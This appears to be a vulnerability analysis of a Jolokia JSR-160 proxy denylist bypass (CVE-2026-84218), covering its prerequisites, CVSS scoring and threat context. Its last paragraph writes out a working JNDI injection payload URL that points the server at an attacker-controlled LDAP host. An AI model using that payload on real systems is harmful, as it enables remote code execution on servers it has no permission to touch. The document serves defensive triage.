Jolokia CVE-2026-84218

The JSR-160 proxy feature must be explicitly enabled in the Jolokia agent configuration - it is not the default operating mode and requires deliberate configuration. The Jolokia HTTP endpoint must be reachable by the attacker over the network; per the CVSS PR:N vector, no authentication credential is required to submit POST requests, though Jolokia supports optional HTTP authentication that, if enforced, would require valid credentials and elevate the effective privilege requirement. The RCE outcome is further conditioned on: the absence of a Java security manager in the target JVM, availability of exploitable classes on the classpath (e.g., JNDI-referenceable deserializable gadgets), and the JVM not being patched against known JNDI injection chains. If these JVM-side conditions are not met, the impact degrades to SSRF and credential forwarding rather than code execution. Exploitation is meaningfully limited by the proxy being off by default and the need to craft bypass URLs not matching the existing denylist.

The CVSS 8.1 score (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects a high-severity, network-exploitable flaw requiring no authentication (PR:N) if the Jolokia endpoint is exposed without access controls. AC:H acknowledges that the JSR-160 proxy must be deliberately enabled and a valid bypass URL must be crafted - these are non-trivial prerequisites that reduce opportunistic exploitation risk. No EPSS score was provided in the input; exploitation frequency cannot be quantified. No CISA KEV listing or public POC is identified at time of analysis, so this cannot be confirmed as actively exploited. However, the vulnerability is a documented bypass of a prior known fix (CVE-2018-1000130), which means any researcher or threat actor who studied the original patch can likely derive the bypass independently - a meaningful threat-intelligence signal that makes the AC:H rating feel optimistic in practice. The SSRF and credential-forwarding impacts are mechanistically reliable once the proxy is reachable; RCE is conditional on JVM classpath and security-manager state. Even a mid-sized enterprise security team should treat this as urgent where the JSR-160 proxy is enabled in any externally reachable or multi-tenant deployment, particularly in Red Hat Fuse 7 or Satellite 6 environments where Jolokia may be accessible to internal network segments with mixed trust levels.

An attacker locates an internet-facing or network-accessible Jolokia endpoint with JSR-160 proxy mode enabled and no HTTP authentication enforced. They submit an HTTP POST request with a target.url of service:jmx:rmi://attacker.com:1099/jndi/ldaps://attacker.com/payload - a form not matched by the existing denylist regex - causing the Jolokia JVM to perform a JNDI lookup against the attacker's LDAP server, which responds with a reference to a malicious serialized Java class that executes arbitrary code on the server hosting the Jolokia agent.